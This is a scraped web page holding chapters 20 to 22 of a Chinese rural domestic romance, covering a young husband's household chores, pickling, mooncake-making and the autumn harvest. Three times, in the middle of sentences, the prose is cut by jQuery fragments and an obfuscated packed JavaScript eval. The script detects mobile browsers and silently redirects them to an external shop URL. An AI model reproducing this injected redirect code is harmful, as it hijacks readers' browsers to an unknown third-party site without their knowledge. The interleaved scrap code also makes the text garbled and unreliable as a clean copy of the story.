$(''#content'').append('' 家,少有闲着的时候。 方夏见太阳大,便将被褥拿出来晾晒。 这被褥是大件,家里用水吃紧,不必常常拆洗,只时不时趁着晴天拿出来晒一晒便好,况且他们的铺盖还都是成亲时现做的,簇新的被褥蓬松绵软,晒晒太阳盖着也更舒服。 将两人的被褥都挂在院子里的晾衣绳上,方夏拿着扫炕的小扫帚用力前前后后拍打一圈,才拖过小板凳坐下。 周秀娘出门去了,李青梅也趁天儿好赶着鸭子去河里游水,家里就剩方夏自己,闲着也是闲着,他便端着针线笸箩坐在屋檐下做棉鞋。 俗话说“一场秋雨一场寒,十场秋雨要穿棉”,前几日连着下了两天的雨,天气明显变冷了,屋外坐着暖洋洋晒着太阳,比屋里要舒服。 他手里纳的鞋底是给李远山的,这几日先将鞋底和鞋面做好,等过些日子新棉花下来了,买上些好棉花,往鞋子上留着口的衬布里一塞就行。 方夏想着,李远山常常去外村收毛猪卖猪肉,走的路多,便先将他的棉鞋做好,自己的待秋收后再做也不迟。 阳光暖融融的,晒得方夏竟有些昏昏欲睡,他晃晃脑袋,揉了揉有些泛酸的肩膀,放下纳好的一只鞋底,又拿起了另外一只。 鞋底子打的厚实,需得用上十二分的力气才能用针线扎透,方夏正使劲用戴着顶针的中指推着针线,院门开了,他抬头张望着,原是李青梅赶着鸭子回来了。 鸭子喜水,得空了就要放出去到河里游一游,吃些水里的嫩草或是小鱼小虾,放鸭子也不难,因此这活计就落到李青梅手上。 “夏哥哥!我回来了!” 见李青梅蹦跳着过来,方夏赶紧拍拍衣服站起来,帮着她一起将鸭子赶到后院的鸡窝鸭舍里。 十来只鸭子里还混着两只大白鹅,这几日混熟了便不再啄人,方夏刚嫁过来那几日同李青梅去捡鸭蛋,那大鹅还凶巴巴追着他啄呢。 把关鸭子的木头围栏扎紧,又将院子里方才鸭子进来时拉的粪便扫到粪堆处,用铁锹垫上一层土,方夏才又坐下。 农家人向来这样,家里的人畜粪便都要积攒着,等到来年开春好给地里施肥,这样庄稼长得才好,有些人家粪肥不够,闲下来了还要挑着担子去街上拾粪。 李青梅洗了手后,便搬着个小板凳挨着方夏坐好,她眼瞅着方夏又开始做针线活,笑嘻嘻道:“夏哥哥,你这是给谁纳鞋底呢?” “你大哥呀。”方夏也轻笑着回。 “哎呀呀,夏哥哥你手真巧,这鞋底子上的针脚又密又匀,看着就好!” 被人夸了心里自然开心,可方夏也不好意思表露出来,只轻拍一下对面人的手道:“哪有?就你嘴甜呢。” “真的,夏哥哥!大哥穿上了定然高兴得很,不信你一会儿拿给他看!” 两人叽叽喳喳说着话,时间很快就过去了,李青梅话多,自然是她说得最多,方夏纳着鞋底偶尔回一句,不过这大半天,他翘着的嘴角就没下来过。 20. 囤菜 快到中午的时候,周秀娘回来了,手里还拎着一兜子粗盐。 正在院里坐着的方夏和李青梅见了,都起身去接,快到冬天了,家里腌菜需得用不少盐巴,每年都要备上许多。 腌菜用的盐巴是粗盐,都是块状的,量大价钱也便宜,不像炒菜做饭用的细盐,不用太讲究,只要能腌菜,到了冬天够家里人吃就行。 此地冬天时日漫长,到时候地里都冻上了,没新鲜菜吃,家家户户到了冬季都要备上许多腌菜和晒好的菜干菜条,才好熬过天寒地冻的冬日。 这几年风调雨顺,只要家里人勤快些,一般人家是不缺吃的用的,不似荒年,冬天没吃食没柴火烧,饿死冻死的都有。 “今日咱们吃个熬菜吧,就熬茴子白,昨日还有一条五花肉,咱熬菜时放进去,定是香喷喷的!”周秀娘说着,便朝灶房走去。 方夏也附和着:“娘,我看墙角那一溜南瓜都熟好了,再蒸个南瓜吧。” “好!好!南瓜又甜又糯,我最爱吃了!”李青梅高兴道。 “数你会吃!”周秀娘嗔了一声,噗嗤笑了:“那就赶紧去墙根那挑个大的,一会儿咱蒸杂面馒头一块蒸上吃!” “哎!知道了娘!” 待午饭做好,家里汉子们也都回来了,一家子自是热热闹闹坐在一起吃着饭,聊起地里的境况,也都个个满脸笑容。 他们家一共十五亩地,好地旱地各占一半,大部分都用来种黍子和莜麦,而谷子和高粱则各种了两亩,此外还有一亩黄豆,平日里若是想吃个豆腐豆皮之类的,也无需花钱买,只用家里的豆子去换就行。 “这几日太阳大,再晒足半个月,差不多就该收了。”李老爹吃过了饭,坐在堂屋门边搓草绳边说。 一家人都应着,想起丰收的喜悦,再苦再累也都不怕。 家里人多,年景好些,地里打下来的粮食才够吃,家里有粮心里不慌。 周秀娘收着碗筷,说道:“还有半个月呢,不急,午后去后院拾掇拾掇,眼看着韭菜花也都长差不多了,葱也该起了。” 他们家后院除了圈出来鸡鸭猪的小园子,多余的地则用来种韭菜和葱姜蒜这些,其余瓜果蔬菜则在前院拢成一畦一畦的。 方夏一边抹桌子一边想,可不是呢,白露都过了,是时候起葱了。 韭菜花摘下来,可以做韭菜花酱,咸香咸香的,可以用来夹馒头或是拌面条吃。此外,秋天的葱叶子又宽又长,可以用来腌着吃,都是冬日里好保存的酱菜。 说干就干,一家人吃过晌午饭也不歇,都拿着农具去了后院。 方夏和李青梅拿着小竹匾摘韭菜花和韭菜苔,一根韭菜苔上一朵花,韭菜花用来做酱,韭菜苔则拿来炒着吃。 李远山跟在他俩后边弯腰割韭菜。这韭菜开花后,韭菜叶就老了,再过些日子到了寒露就不能割了,需在冬天来临前留茬养根,好等明年继续割, 农活做惯了都有经验,李远山拿着镰刀割的快,韭菜留茬的高度要比平日里割的高些,割完今年的最后一茬等上两日还要再浇水施肥,韭菜方能平安过冬。 割下来的韭菜挑拣些嫩的家里吃,余下的老的黄的韭菜叶都拌到鸡食里去喂鸡鸭,一点儿也不浪费。 他们这边活少,不大一会儿功夫就做完了。 方夏将一整个竹匾的韭菜花洗干净放到屋檐下晾晒,又帮着摘葱叶去了。 那边李老爹带着两个小儿子已将葱都挖出来了,根浅的手拔即可,若是根深就得用铁锹挖,挖时也得注意不能将葱根挖断。 挖出来的葱整齐排在地上,李云山和李晓山就负责抖干净葱根部的土,李青梅则是挑拣出不好的葱叶另做一堆,清理好的葱要用干枯的叶子捆扎好,晾晒干后就能放到菜窖里了。 村子里家家户户院里都有菜窖,院子里向下挖个圆圆的深坑,窖口用石头架平整就行,可以存些南瓜、茴子白、萝卜、葱等蔬菜,否则冬日里苦寒,不多存些口粮可难熬得紧。 “咱家菜窖还没打扫开,老大下去看看。”周秀娘一边摘葱叶一边发话。 李远山将韭菜根部的土拢好后放下手里的铁锹,绕过关着鸡鸭的栅栏,就是他们家的菜窖了。 菜窖虽挨着后院墙,不过他家前年盖房子时垒砌的院墙高,能防贼,也不怕。 菜窖上盖着方方正正的一块木板,平时不过来也注意不到,李远山弓着腰右手使力将木板掀开,便露出来一个圆圆的洞口。 他抬眼望着方夏道:“拿个扫把来,我先下去,一会递给我就成。” 方夏应好,匆匆去耳房找扫院子的大扫把了。 菜窖的口子并不大,只能容一人通过,竖着向下的墙壁上交叉留出几个供人上下踩着的小坑。 这个菜窖约莫有一丈深,到底后又向周围拓开了一圈,菜窖底下很大,能存不少菜。 待方夏提着大扫把过来,李远山都快下到菜窖底了,他岔开双腿撑着墙壁,正好一伸手能接住方夏递下来的扫把,接着他单手撑壁,双腿一并跳到了菜窖底。 有木板盖着,菜窖里也并不多乱,只是大半年没怎么下来,去年存菜时的一些枯叶还在,略微扫一扫将菜窖底下弄平整就行。 待收拾利索,李远山踩着墙壁的小坑一步一步往上走,快爬到顶时,一抬眼便看见方夏正趴在菜窖口子上张望着,见自己快上来了朝着他还伸出胳膊。 方夏见李远山单手撑着菜窖的墙壁,另一只手还拿着大扫把,原想伸手接过扫把好让他上来,却不想李远山用本来撑着墙的手握住了自己,三两下便跳出了菜窖,而那把大扫帚还在他的胳膊下夹着。 众目睽睽之下被抓着手,方夏的脸霎时就红了,幸亏大家都忙着干活,并不曾发现他们交握在一起的手。 “我去放扫把。”语速极快地说完话,方夏抢过李远山手里的扫把就跑了,只留下菜窖旁站着的李远山,心里乐开了花。 ------------------------------------- 今日韭菜择的多,周秀娘便说要做个素馅的韭菜盒子吃,方夏便揽过了做韭菜花酱的活儿。 韭菜花晾得差不多了,方夏择了块生姜来切碎,便要开始用石钵捣韭菜花,捣韭菜花时要时不时加盐和碎姜末,这样做出来的韭菜花酱更入味,也更好保存。 李远山走过来要帮着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292676|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捣韭菜花,让方夏坐在边上看着加调料就行。 捣碎的韭菜花味道很冲,他俩挨得近,时不时就要转过头打个喷嚏,回头时相视一笑,继续干活。 待韭菜花慢慢捣成深绿色的糊状就差不多了,方夏将石钵里的韭菜花酱挖到小罐子里,又将新的韭菜花倒进石钵里。 这样来回几次,小小一罐韭菜花酱就做好了。 “韭菜花只这么一点,分不出来两罐子,一会儿腌葱叶,给你做一罐子辣的吧。”方夏朝着身边的李远山说,“你要吃多辣的?” 李远山心里窃喜,面上却不显,家里平时不吃辣,也就上回赶集时他带着方夏去吃抿豆面,自己吃了不少辣酱,被方夏看到记住了。 他正要开口,不想灶房另一边和周秀娘包韭菜盒子的李青梅大声喊着:“夏哥哥总想着大哥,我不能吃辣!我要不辣的!” 李远山看了眼垂着头脸红红的人,扬声道:“都放辣的,一口也不给你吃。” 李青梅急了,回头就去找自己娘亲做主:“娘!你看大哥!” “你夏哥哥能不想着你?等着便好。”说罢,呵呵笑着拍了拍闺女的手,眼里都是满意。 将盛韭菜花酱的罐子放在阴凉处,方夏起身去抱今日刚择下来的葱叶子。 秋季的大葱叶都老了,又宽又长,不比水灵灵的嫩葱叶炒菜好吃,若不摘下来,过几日就都干枯了,可农家人节俭惯了,一丝一毫的东西都要琢磨着做个吃食,从不浪费。 腌葱叶只取暗绿色的葱叶,不用葱白,摘下来的葱叶将尖上枯了的一截儿去掉,多过几遍水,洗去沾着的泥土就能做腌菜了。 李远山蹲在地上洗葱叶,洗好后就递给方夏。 而方夏站在案板前,动作麻利地将这些葱叶切成一段一段的放在一个大陶盆中,切好后就将捣碎的粗盐巴搅合进去,要入味还需用手不停揉搓抓匀才行。腌葱叶无需什么手艺,只要盐巴多能存得住就好。 待一坛子不辣的腌葱叶做好,方夏又捣了些生姜花椒和上次从大舅家拿回来的食茱萸,另做了一坛子辣味儿的才停手。 这些腌葱叶不仅能拿来就饭吃,做菜时挖上一勺子也是增香提味的。 亏得家里各种大大小的坛子罐子多,不然冬天囤各色腌菜都不够用的。 今日忙碌了一下午,晚饭吃得有些迟了,待一切收拾妥当天早就黑了。一家人便点着油灯挪去主屋的炕上去吃饭,一来暖和,二来也免去搬条凳的麻烦。 一大盆油汪汪的韭菜盒子端上来,满屋子都是油煎的焦香气味,一家人谁也顾不得说话,个个大口吞咽着,恨不得将舌头都吃进肚子里去。 桌上也没旁的菜,韭菜盒子里既有饭又有菜,能吃饱就知足了,等吃得差不多了,再热热地喝上一碗水溜溜缝,在这寒凉的秋夜里,整个人由内到外都被着暖意熏得舒展了。 吃罢晚饭,李远山和方夏各自洗漱了躺到被窝里,自那日两人圆房后,他们就只盖一床被子了,家里做的被子宽大厚实,两个人盖也不漏风,紧紧挨着还更暖和呢。 李远山很自觉,早早就伸手搂住了自家夫郎,嘴唇贴着人的脸蹭了蹭,心满意足地睡了。 21. 月饼 白露过后再有十多日便是中秋了,这是方夏嫁过来的第一个中秋节,李家父母自是十分重视,早早就为过节做足准备,家里各色吃食瓜果能备上的一样不少,一家人团聚在一起和和美美,那日子真真是让村里人羡慕的。 早起收拾妥当,方夏在院子里翻着晾晒的菜干菜条,这几天太阳大,家里预备过冬的干菜都要拿出来不停晾晒,等彻底晒干水分才能装进布袋子里囤起来。 李远山正在前面场院里卖猪肉,瞅着自家汉子挺括的背影,方夏又不自在地红了脸。 昨日夜里李远山要同他数银钱,他很高兴,小时候阿奶是教过他数数的,虽然慢些,可两个人数总比一个人数快。 这一个多月,李远山差不多杀了十多头猪,每次猪的分量不同,挣的钱也会差十几枚铜钱,不过总的来说,屠户的收入在面朝黄土背朝天的庄稼汉里已算多的了。 自上次李远山将装钱的匣子拿给他后,方夏便将自己的铜板也放了进去,这些日子吃喝都是家里的,也没怎么花钱,都攒在钱匣子里。 原先钱匣子里有三两碎银子并一百四十五枚铜钱,这一个月李远山卖猪肉挣了钱陆陆续续往进添,已是积攒了不少。 两个人将炕桌摆到炕中间,桌子上每一百枚铜钱就分作一堆,先数这个月挣的,一共是九堆,也就是九百枚铜钱,另外还有零散的三十五枚铜钱,这样加上原来的铜钱就有一千零八十枚了。 方夏从没见过这么多钱,高兴地都要贴到桌子上了,这一千枚铜钱等去镇上换了银子,他们就有四两银子了。李远山真有本事,一个月就能挣快一两银子,这在乡下是极难得的。 两人商议好待再攒多些铜板,就去镇上换成银子,方夏端过放在炕边的针线笸箩,从里面翻出麻绳,两人便开始拿麻绳穿铜钱。 崭新的针线笸箩里各色丝线种类都配齐了,这些都是李远山出村卖猪肉碰见货郎特意给他买的,上次去镇上布庄拿回来的丝线颜色不多,再说方夏做针线活总不能回回都去正屋拿,还是自己屋里备着些更好。 一千枚铜板正好串成一吊钱,盘起来放进钱匣子,剩下的八十枚铜板单拿出来。 李远山道:“快到中秋了,明日娘去打月饼,工钱咱们付了吧。这些你拿着,明日你和娘一道去。” “嗯,行!”方夏应着,将钱塞到了褥子底下,待明日要用时好拿取。 挣了钱被窝里裹着的两个人都高兴,渐渐的李远山的手就开始不老实了。 高大结实的汉子胸膛炽热无比,在寒凉的秋夜里竟拱得方夏出了一身汗,他知道李远山要做什么,便轻声开口:“你轻些。” “嗯!”身边的汉子激动的声音都带着一丝颤抖,一个翻身压了上去。 一夜风光旖旎。 ------------------------------------ 中秋节家家户户都要打月饼,家里富裕些的就多做点,还能预备着秋收时候当干粮带着去地里吃。 日子过得紧巴的人家,再不济也要做一个大一些的团圆饼,待十五那日供了月亮一家人分着吃,也是好的。 村里会打月饼的只有付家,他家住在村南,过了状元桥得走上一段路。每年去打月饼都得早早去,若是去晚了就得排队了。 将院子里晒的干菜翻好,周秀娘领着方夏和李青梅去打月饼,三人手里都是满满当当的,谁也没空着。 乡下人家打月饼,都是拿自家的面油糖,料都是货真价实的,价格也便宜,只需付打月饼的工钱即可。 方夏出门前还去叫上了隔壁的柳满,他们家过节也要打月饼呢。 两家人一路上说说笑笑,好不热闹,等走到做月饼的付家,前面已是排了十几个人了。 付家做的月饼料用的扎实好吃,周围几个村子都是出了名的,因此一到节前无论本村的还是外村的都来他家打月饼。 见大路上还有外村的人过来,他们赶紧也排上去,等着打月饼。 付家夫郎是个壮实的中年哥儿,正站在门前招呼人登记,谁家带了多少胡麻油、多少面和糖,需打多少月饼都提前记下来,若是家里忙的,东西放下就能走。 “今日开了大炉,都能轮得到,大家别急,一个一个来!”付家夫郎喊。 也有一些人家怕打月饼途中被克扣东西,便在门口等着,时不时还要往里张望一眼,不过付家做的年月长了,口碑早就出来了,不会做这等小气事儿,否则砸了自家招牌,就是得不偿失了。 终于轮到他们了,付家夫郎将他们带的东西过了秤,记好要一个大团圆饼,二十斤月饼,便将他们的面油糖做个标记,放在了身后。 方夏在刚刚排队时便算好了工钱,一个团圆饼五文钱,一斤月饼两文钱,他们家要打二十斤月饼,一共是四十五文钱,此时等对面的中年夫郎过好了秤,他赶紧掏出怀里的荷包数出来四十五文递过去:“阿嬷。” 付家做月饼,手工钱都是等着来拿月饼时才收,乡里乡亲的也不怕谁不给,这头一遭见刚拿来料子就给手工钱的,让他忍不住抬头仔细打量眼跟前年轻的小夫郎。 “哎吆吆,原是你家的儿夫郎啊!”待看到方夏身后站着的周秀娘他才恍然大悟,这定是小李屠户花二十两娶的新夫郎了,“李家嫂子,好福气啊!这就是老大家夫郎吧?长的真俊俏呢!” 付家夫郎一边夸人一边将铜板收下,方夏却是有些害羞,这么多人在这站着呢,怪不好意思的。 “是呢是呢,这不是打月饼了,领着夏哥儿过来认认门,日后啊买些什么就晓得如何走了不是?”周秀娘笑得心满意足。 她原本拿荷包的手放下了,既然儿夫郎已付了钱,她也不推让,正好让这许多人看看,他家老大娶回来的夫郎多贤惠懂事,让那些曾经背后嚼舌根说他儿子成不了家的人都开开眼。 “咱们以前都是拿月饼时才付工钱呢,今日夏哥儿既给了,我便收着了。” “你收你的,早给晚给都一样,反正缺不了你的!”周秀娘回道。 “那好,李嫂子明日来取月饼,肯定给你都做好了!” 因着后边还排了不少人,周秀娘便不再耽搁人做生意,领着方夏和李青梅出来了。 从付家院子里出来时,不少排队的村里人都打量着方夏,有的和周秀娘打招呼,也有悄悄咬耳朵说话的,无一不是关注着方夏。 他和李远山成亲那日闹的事,村里人多多少少也知道,原本人们还传小李屠户这婚事又黄了,如今看来人家过得好着呢。 等他们回家后,李远山猪肉也卖完了,这几日村里陆续开始秋收了,人人干的都是重苦力活,手头宽裕些的都来买上一斤两斤肉,菜里有油水,干活才更有力气不是。 前两日晒的葱都差不多了,李远山收好猪肉摊子后就去了后院,同两个弟弟一起下菜窖将一捆捆葱吊着放下去储存起来。 院子墙角的十几个大南瓜也都摘下来,留两个这几日吃,剩下的也都存到菜窖底下。 待几人从菜窖爬上来,免不了身上都沾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292677|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着不少土,方夏拿着鸡毛掸子给他们兄弟几个拍打干净。 盖好菜窖,几人收拾好地上散落的干叶子,前后脚往前院走去。 还没穿过耳房,就听周秀娘正同人说话,待几人走到前院,竟然是孙青青正站在灶房门口,手里还端着个碗。 “行了,没那么见外,你快回吧,有啥事儿你过来找婶子,都是邻居!”周秀娘摆摆手对孙青青说。 见李家几个汉子都在,孙青青也不再多说什么,只低声道:“多谢婶子,我先回去了。” “哎,你回吧。” 待孙青青走后,周秀娘扭头问:“都收拾妥当了?” “收拾妥了,娘。”李远山应着。 忙了这一会儿,几人都口渴了,便要去灶房舀水喝。 平日里家里烧好热水都在茶壶里晾着,等口渴了随时都能喝,方夏将上次晒干的红姑娘果皮拿出来两个泡到水里,秋日干燥,喝些也能败败火,只是上次只得了一小捧,每次泡水都省着些。 一人端着一碗水慢慢喝着,坐在屋檐下难得有一会儿安静歇息的时间,冷不丁坐在角落里的老二李云山问了一句:“娘,隔壁徐家嫂子来咱家做什么?” 正端着茶碗喝水的周秀娘叹了口气,道:“这不是快过中秋节了,孙青青过来问,能不能拿鸡蛋换二斤白面好打个团圆饼。” “啊?他们家连白面也没有了?”李青梅一惊一乍地说,眼睛都瞪大了。 “傻丫头,你以为呢,这也是最近几年咱家日子好,你是没过过那吃糠捞野菜的日子,你大哥二哥小时候可没现在这好日子。”周秀娘慈爱地摸着小闺女的头,接着说:“也不过二斤白面,娘就借给她了,等秋收后打下来粮食再还,谁没个困难的时候啊。” 庄户人家都是土里刨食,境遇好些的靠种地再在农闲时去镇上打零工,一年能挣七八两,若是有些境况差人又懒的,一年能挣个二三两就不错了,勉强维持家里温饱,逢年过节还要同亲戚邻居借。 “娘最是心善!”李云山笑嘻嘻道,“儿子给您捶捶背!” “就你嘴甜会说!” 方夏吹了吹茶碗,慢慢小口小口喝着水,从前未出嫁时,他也是没日没夜地劳作,有时碰上青黄不接的时候,免不了也要饿肚子,想得出神,自己现如今嫁来李家,做了李远山的夫郎,日子和顺,可孙青青却不知道啥时候能熬出头。 察觉到衣摆下拽了好几下的手,对上旁边李远山心疼的眼神,方夏这才回过神来,坐在身边的人凑过来,附在他耳边轻声道:“我必不会让你过那样的日子,你放心。” “我晓得。”方夏也用气音回一句。 两人看着彼此,不自觉都带着一抹笑,直到一道憨憨的声音响起才慌忙错开视线。 “大哥你看啥?夏哥哥脸上有饼渣子?”老三李晓山挠着头问。 ------------------------------------- 第二日将月饼取回,团圆饼留待中秋那日再吃。 周秀娘将饼用油纸包好,放在灶房高处,防着老鼠半夜里趁人睡觉了祸害,剩下的月饼就搁在了堂屋的大箱柜顶上,谁饿了就去掰着吃。 刚出炉的月饼有汉子巴掌大小,香酥可口,闻着就流口水,一家人分着吃了几个都说好吃,若不是周秀娘拦着,几个孩子还要伸手再拿。 “别光吃好的,一会儿正经饭也不吃了,马上就开饭了!” 一伙人这才住了手,闹哄哄地去洗手端饭吃饭。 22. 秋收 秋分一过,天气更冷了,田地里泛着金黄,催促着人们去收割。 树林里也渐渐有了霜,风一吹,数不清的枯叶飘落下来,院子里种着树的人家更是天天都要打扫,枯叶子收拾进灶房还能用来引火。 李远山连着和二弟杀了好几日的猪,中间也没歇着,等家里开始秋收忙地里的活,肉摊子的营生就得停几日了,若不赶紧将地里粮食收回来,等着变天下雨或是下霜就麻烦了。 这些日子,李云山跟着大哥学手艺认真,已能自己上手了,只是到底年纪还小些,碰见体格大的猪自己一个人按不住,就要兄弟俩齐齐上手。 这日兄弟俩去邻村卖肉回来,坐着牛车晃晃悠悠往家里赶,他们家的小牛犊去年新买的,才刚一年,平日里舍不得用,也就是这几日早起天冷了,出村卖肉才赶着牛车。 春天时耕地都没舍得用牛,都是人拉着犁耙翻地,如今小牛也一岁多了,秋收就需慢慢调教着用起来了。 “今日卖完就停几天,咱们家也该收秋了。”李远山赶着车道。 “嗯,是该收了,”李云山嘴里叼着根草,含含糊糊说,“今年冷得早呢。” 临近晌午,他们兄弟俩赶着牛车进村也没见着几个人。 村里人都忙着收秋,午饭这一会儿时间也舍不得浪费,往往是早上去地里就带些吃食,中午饿了将就吃一口接着干,或是家里的妇人夫郎回去一个做好饭送到地里,一家人坐在田间地头就匆匆吃了。 庄户人家没那么多讲究,最重要的是要抢着时间把地里的粮食收回来。 方夏正在灶房忙着做饭,李青梅拿着大扫把扫院子里的晒场,隔壁吴大牛家院子里种着枣树,落叶时不时就翻过院墙飘到他们家,见两个哥哥回来她急忙喊:“大哥二哥,爹说让你俩回来就赶着车去豆子地呢!” 李远山一听,便知道爹娘这是上午就去了地里,他从柴房里拿了镰刀并一捆粗麻绳,水都没来得及喝一口就走了。 李家夫妇俩见今日天儿不错,太阳也大,早早便带着小儿子来割黄豆杆了,只留着方夏和李青梅做饭看家。 他们家黄豆也就一亩,半上午的功夫就收了一半,剩下的等吃了饭,下午就能收完了。 吃过晌午饭,一家人歇息了一会儿便收拾好准备去地里。 方夏本也想跟着去,被李远山拦着了,只让他同李青梅在家里晒豆杆打豆子,方才用牛车拉回来的黄豆杆堆放在场院里,还没来得及摊开晾晒,这些收回来的豆杆子需大太阳晒得干干的,才好脱粒。 晒干的黄豆杆铺在场院里,庄户人家常常上去踩一踩便知道熟透了没有,时不时还要用上连枷不停敲打,才能使豆杆上的黄豆脱下来。 待黄豆脱的差不多了,再用簸箕细细筛一遍,剩下的豆杆收起来堆在柴房,还能用来烧火,一点儿也不浪费。 周秀娘从耳房里翻出了几只穿破不要了的烂鞋底,让方夏找个结实棍子绑着给李青梅打豆杆,四妹力气小用不了连枷,用破鞋底边玩边打刚刚好。 方夏想着家里只两个连枷不够用,便多找了几根木棍绑着破鞋底放在墙角,这样忙起来人人都有的用。 两人用头巾包好头发后,就开始忙碌了。 先是踩着豆杆走一遍,咯吱咯吱的声音响起,便知这是有豆子脱下来了,接着就是坐着打豆子,家里的连枷有些重,方夏掌握不好,便同李青梅一起用破鞋底打。 待打过一轮,两人将豆杆用耙子搂起来,底下就是一层黄豆了,将这些打下来的豆子收拢成一堆,再将豆杆摊开继续打。 一下午的功夫要反反复复好几遍,才能将所有黄豆从豆杆上脱粒,若是碰见有些湿的根茎,还需大太阳再晒上两日才行。 脱粒的黄豆今日不筛,等傍晚剩下的半亩都收回来,全部打完再一起筛,将混在豆子里的小石子、碎草叶子和土用簸箕一扬,才能装进麻袋收起来。 眼看着天色不早了,方夏叮嘱李青梅歇一会儿,自己便洗手去灶房做饭。 熬一锅热腾腾的小米粥,烙几张杂合面大饼,再将家里腌好的酸豆角、酱胡瓜和腌茄子切好,就是一家人的晚饭。 最后一张烙饼出锅,李远山他们回来了,汉子们将牛车上的豆杆背进院子,怕夜里露水重就不摊开了,齐齐垛起来先放在柴房里,等明日出太阳再晾晒。 方夏从灶房里出来,带着李青梅将饭端进堂屋,又帮众人舀水洗手,喊着:“爹娘,饭好了。” 李远山正蹲在地上洗手,方夏过去又给他添了些热水:“怎地衣裳破了?” “许是方才背黄豆杆子划破的吧。”李远山扭头一看,左边肩膀下面可不是撕开一个大口子,自己竟然没察觉。 “我给你缝一缝吧,很快的。” “好。” 两人起身回屋,方夏从笸箩里找针线,见李远山正要抬胳膊脱衣服,便道:“不用脱了,穿着也能缝的。” “啊?”李远山呆了一下,哦了一声,只好放下手,他知道自家夫郎稀罕他身上肌肉虬结的臂膀,晚上做那事时总要掐着,这不用脱衣服让他有些失望。 “你转过去呀。”方夏穿好针线,见人还没动就出声提醒。 李远山闷不吭声转身,将肩后那块撕烂的地方凑到人跟前,方夏捻着针专注地缝着,拉出线时习惯性地用手抻着衣裳,免得布料皱起来。 屋里很安静,屋外一家人闹哄哄摆饭端粥的声音也好像隔着一层帷幔,离得很远,方夏缝完最后一针,凑到李远山肩头,用牙齿咬断了线头。 李远山呼吸一下就重了起来,他猛然回头,情不自禁地握住了方夏的手。 屋里还没点灯,月光从窗户照进来,照在李远山黑沉沉的眼睛上,让他好似一头即将出笼的凶猛野兽。 “怎么了?”方夏被吓了一跳,却也没挣开手,只由李远山握着不动。 “没事。”李远山重重呼出一口气,道:“我看看,别扎了手。” 方夏笑着拍了一下李远山的手,道:“我都缝缝补补多少年了,能扎了自己的手?” 这几日两人相处,要比刚成亲时更自在,方夏也敢同李远山大声说话了,有时还会呵呵笑着回应他,再也不是从前怯懦胆小的模样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292678|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李远山讪讪笑着放开抓着人的手,道:“走吧,去吃饭。” “嗯。” ------------------------------------- 第二天一大早,一家人锁好门赶着牛车出发了。 今日他们要先去收高粱,早上冷还有些露水,不过秋收就是这样,抢着时间干活,早早将粮食收回来才是正理。 方夏的厚棉衣还没缝好,他身上轮换的几件衣服都是新做没多久的,舍不得下地干活穿,便从柜子里翻出来李远山以前的破旧衣服套在外面。 宽大的衣服好似要将他整个人都包住了,可是早起太冷不穿厚些根本扛不住,再说去地里干活哪有那么多讲究,都是找些不要的旧衣服穿,这样撕烂了弄脏了也不心疼。 到了地头,看着弯着腰沉甸甸的高粱穗,一家人脸上都是喜色。这块高粱地有两亩,他们家人多,估计一天也就都收完了。 李远山同他爹在前面割高粱杆子,方夏和周秀娘坐在地上拿小剪刀剪高粱穗,而李云山和李晓山兄弟俩就把剪好后扎成一堆的高粱穗装进牛车里,李青梅还小,帮着打打下手,一大家子谁也没闲着。 快到晌午时,太阳也越发晒了,方夏早就将身上穿着的宽大的衣裳脱下来,他擦擦头上的汗水,抬头一看,李远山割得很快,早就甩了他一大截。 他心里有些恼,自己坐着剪高粱穗都追不上人家弯腰割杆子的,得速度再快些了。 那边田埂上,周秀娘喊着让歇歇,吃些干粮喝点水再干活。 今日他们一家人中午都不回去,早起从家里带了十来个月饼,还有昨日剩下的卤猪耳朵,瓦罐里备了水,将就吃一口就接着干活,秋天太阳落山早,稍微慢些天黑了就什么都看不清了。 “今日收完了高粱,明日收谷子还是黍子?”周秀娘边喝水边问。 “老大昨日去看了吗?咋样”李老爹也问。 李远山啃着一个月饼,擦擦嘴回道:“先收黍子吧,谷子再晒三五天。” “成!”李老爹又说:“远山先拉上一车高粱回去晒,别一会儿连着拉几车伤了牛。” 他家的小牛正卧在低头挑拣嫩草叶吃,听着李远山喊它很聪明地站了起来冲着人“哞哞”叫。 伴着夕阳,最后一车高粱拉回来倒在场院里,一日的劳作才算结束。 趁着做饭的功夫,李远山挥动连枷在场院上打高粱,他身高腿长,挥动胳膊时力气也大,连枷上的条子一圈一圈甩着,哪怕辛苦劳作一天,也没见慢一分。 农家人就只这样,眼里有活儿,见缝插针地干少有闲着的时候。 一家人草草吃了晚饭,就都洗漱歇息了。 这几日都要去地里忙,方夏便只简单泡了泡脚,也不洗头发了,秋收忙起来就是这样,整日都是灰头土脸的,今日洗了明日又弄脏了,索性等收完了再一起大洗。 